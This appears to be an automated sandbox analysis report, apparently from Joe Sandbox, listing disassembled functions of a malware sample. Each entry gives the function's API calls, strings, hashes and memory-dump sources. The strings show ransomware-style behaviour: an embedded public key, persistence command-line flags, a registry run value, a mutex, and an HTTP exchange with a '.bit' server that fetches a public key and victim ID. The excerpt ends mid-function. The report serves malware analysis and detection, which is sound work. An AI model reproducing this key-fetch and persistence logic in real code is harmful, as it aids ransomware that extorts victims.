Function 05ED208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05ED20C6
__invoke_watson.LIBCMT ref: 05ED2120
_strlen.LIBCMT ref: 05ED20D4

Part of subcall function 05EB5BA8: __getptd_noexit.LIBCMT ref: 05EB5BA8

_strnlen.LIBCMT ref: 05ED215F
__lock.LIBCMT ref: 05ED2170
__getenv_helper_nolock.LIBCMT ref: 05ED217B

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: cc5a4454b9cff4a9c72eb972eecc7a3d3dcd422ef4097bf006a889f97cfd4b7a
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: E9312C36B043216BFB216F64CC08BEFB765AF05B25F106015EB95DB2C0DBB4890287B1

Uniqueness

Uniqueness Score: -1.00%

Function 05EA2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EA26DB
_memset.LIBCMT ref: 05EA2A30
_memset.LIBCMT ref: 05EA2AC0

Strings

D, xrefs: 05EA2AC8

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: b5442b55d3033284e14903e560c647efaeb547b8319323fc2e06a34048bc9030
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 32E18D76D00219ABDF24DFA0CD89FEEB7B9BF04304F0450A9E649B6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E9D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E9D8EA

Strings

, xrefs: 05E9DADB
(, xrefs: 05E9DAE9
$, xrefs: 05E9DAE2

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 905e17e9fff2bbd1aae8cc083933a4549300ad488d07c465b2cb3856ca242002
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0991CE71D00228AAEF24CFA0CD49BEEBBB5AF05304F145068D5957B2C0EBB65A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05EAA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EAA858
_memset.LIBCMT ref: 05EAA869
_memset.LIBCMT ref: 05EAA87A

Strings

p2Q, xrefs: 05EAA882

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 60cbbe2df9e74374fe42f88758c4709819260c24cd56cda4e76a218a0cc94a74
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 36F0E578694750A6F7117750BC2A7867D917B31B05F105444D1542E2E1D3FD234C6799

Uniqueness

Uniqueness Score: -1.00%

Function 05EDFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EDFBF1

Part of subcall function 05EC169C: std::exception::_Copy_str.LIBCMT ref: 05EC16B5

__CxxThrowException@8.LIBCMT ref: 05EDFC06

Strings

TeM, xrefs: 05EDFBE7, 05EDFBFB
TeM, xrefs: 05EDFBFE

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d57c40c0afbe23653d72abc7e1b1b74e65deda4023562f6c56d64cc10da73c91
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 00D06775D0020CBBCB04EFA5D559CDDBFB8AA04344F0084A6A95497241EA74E34ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E9D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05EB197D: __wfsopen.LIBCMT ref: 05EB1988

_fgetws.LIBCMT ref: 05E9D15C

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b4f105b047694431c4392008842ae267978afe69ce863c4a18118e62eb8d6b8f
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: B891E672D00329ABEF24DFA4CE45BEFB7B5BF04315F142529E895A3240E775AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E9D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E9D77E
_malloc.LIBCMT ref: 05E9D7B2
_malloc.LIBCMT ref: 05E9D7C1
_fprintf.LIBCMT ref: 05E9D815

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: b4e30b5427bbdfd40914480fceb90e745782a544c85f17ac558e47060f65f3a7
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: FAA1E6B1D00258EBEF15EFE4CC49BDEBB75AF14304F141028E5457B291D7BA5A88CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05EB2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EB2B2E
__read_nolock.LIBCMT ref: 05EB2BFE
__filbuf.LIBCMT ref: 05EB2C21
_memset.LIBCMT ref: 05EB2C65

Part of subcall function 05EB5BA8: __getptd_noexit.LIBCMT ref: 05EB5BA8

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 3373892eda15d003e681b99647737e1151d77e14a865c22d08a1849e0257c99d
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 5451C538A042069BFB25CF6888C45EF77B6BF40326F149729EAB5962D0DBF499508F40

Uniqueness

Uniqueness Score: -1.00%

Function 05ED1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05ED137D

Part of subcall function 05ED1A9D: __fltout2.LIBCMT ref: 05ED1AC6

__cftog_l.LIBCMT ref: 05ED13A3
__cftoe_l.LIBCMT ref: 05ED13D5

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: e463c3930709d3d51f87647f96416c040a1fd63c97c2e862c892f784d7de90b6
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 46014B3280418AFBCF1A5E84DC05CEE7F63BB19254B49A415FE9959430D237C5B2EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05F57A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F57A4B

Part of subcall function 05F58140: ___BuildCatchObjectHelper.LIBCMT ref: 05F58172
Part of subcall function 05F58140: ___AdjustPointer.LIBCMT ref: 05F58189

_UnwindNestedFrames.LIBCMT ref: 05F57A62
___FrameUnwindToState.LIBCMT ref: 05F57A74
CallCatchBlock.LIBCMT ref: 05F57A98

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 082edcb9fa7cfb75a4bbaddb0b25e7a60ba21f0d5a5d411fe92715d7e0a4965b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 06011332500109BBDF12AF55DC04EEA7BAAFF487A4F148014FE1866120D73AE9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8jvTeVxooN.exePID: 5772, Parent PID: 4444COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006BB080,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

F:\, xrefs: 0041B397
x2Q, xrefs: 0041A856
7P, xrefs: 0041B164
X1P, xrefs: 0041A485
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Windows\, xrefs: 0041AFF3
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Google\, xrefs: 0041B085
I:\5d2860c89d774.jpg, xrefs: 0041B32F
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsNotTask, xrefs: 0041A654
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
<, xrefs: 0041A67B
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
x*P, xrefs: 0041ACE4
runas, xrefs: 0041A6CE
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
list<T> too long, xrefs: 0041B669, 0041B673
IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files\Google\, xrefs: 0041AFB9
--Admin, xrefs: 0041A1B4, 0041A632
--Task, xrefs: 0041A2CD
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files\Google\, xrefs: 0041B0EE
--AutoStart, xrefs: 0041A2EC
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
--ForNetRes, xrefs: 0041A22E
--Service, xrefs: 0041A30B
%username%, xrefs: 0041B283
C:\Windows\, xrefs: 0041AE0F
IsTask, xrefs: 0041A1EE, 0041A299

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-4214840786
Opcode ID: a951ed597e4b9e8151a7bf919e97abd21670a76f3415c117d1a523c7fc573cac
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: a951ed597e4b9e8151a7bf919e97abd21670a76f3415c117d1a523c7fc573cac
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,53964740), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

CreateToolhelp32Snapshot, xrefs: 00481D67
Heap32ListFirst, xrefs: 00481DB4
Heap32ListNext, xrefs: 00481DC7
ADVAPI32.DLL, xrefs: 00481989
$, xrefs: 00481F7E
GetCursorInfo, xrefs: 00481C58
GetQueueStatus, xrefs: 00481C6B
NETAPI32.DLL, xrefs: 004819A9
LanmanServer, xrefs: 00481A74
CryptGenRandom, xrefs: 00481AE3
Module32Next, xrefs: 00481E39
Thread32First, xrefs: 00481E00
USER32.DLL, xrefs: 00481C31
Heap32Next, xrefs: 00481DA1
KERNEL32.DLL, xrefs: 0048199C
Heap32First, xrefs: 00481D8E
Process32First, xrefs: 00481DDA
Thread32Next, xrefs: 00481E13
NetApiBufferFree, xrefs: 004819F0
LanmanWorkstation, xrefs: 00481A26
NetStatisticsGet, xrefs: 004819E2
Module32First, xrefs: 00481E26
GetForegroundWindow, xrefs: 00481C4A
CryptAcquireContextW, xrefs: 00481AD5
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CryptReleaseContext, xrefs: 00481AF6
CloseToolhelp32Snapshot, xrefs: 00481D7B
Process32Next, xrefs: 00481DED

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

.bit/, xrefs: 0041E7A3
", xrefs: 0041ECA0
{"public_key":", xrefs: 0041EA2E, 0041EA8D
&first=true, xrefs: 0041E930
Microsoft Internet Explorer, xrefs: 0041E736
","id":", xrefs: 0041EBC5, 0041EC4C
&first=false, xrefs: 0041E937
?pid=, xrefs: 0041E884
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 430a070f2d9a2602a6e61b4a3f5fd1976e2f26b578a82cf7d1a50e12e3689174
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 430a070f2d9a2602a6e61b4a3f5fd1976e2f26b578a82cf7d1a50e12e3689174
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
